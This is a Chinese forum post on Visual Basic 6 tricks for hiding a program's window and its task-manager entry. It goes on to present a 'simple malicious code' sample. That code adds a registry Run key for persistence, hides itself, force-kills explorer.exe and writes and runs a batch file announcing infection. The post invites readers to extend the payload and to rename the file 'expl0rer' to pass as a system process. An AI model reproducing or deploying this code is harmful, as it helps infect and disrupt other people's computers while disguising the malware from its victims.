VB几种不同的隐藏方法
3559 点击·0 回帖
灯火互联
楼主
 |  | |
 | 第1种-关闭后到像迅雷一样隐藏 Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer) Cancel = True Me.Hide End Sub _____________________________ 第2种-直接隐藏 Form1.Visible = False _____________________________ 第3种-在任务管理器应用程序中隐藏 App.TaskVisible = False _____________________________ 于是就可以编写一个简单的恶意代码 Private Sub Form_Load Set w = CreateObject("wscript.shell") w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" ; App.EXEName, App.Path ; "\" ; App.EXEName ; ".exe" '导入注册表,实现开机自动运行 Form1.Visible = False App.Taskvisible = False Shell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程 Open "c:\windows\$$$.bat" for Append As #1 Print #1 , "@echo off" Print #1 , "echo 恭喜你中毒" Print #1 , "echo. ; pause" close #1 x = shell("c:\windows\$$$.bat") ....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等 End Sub | |
 |  |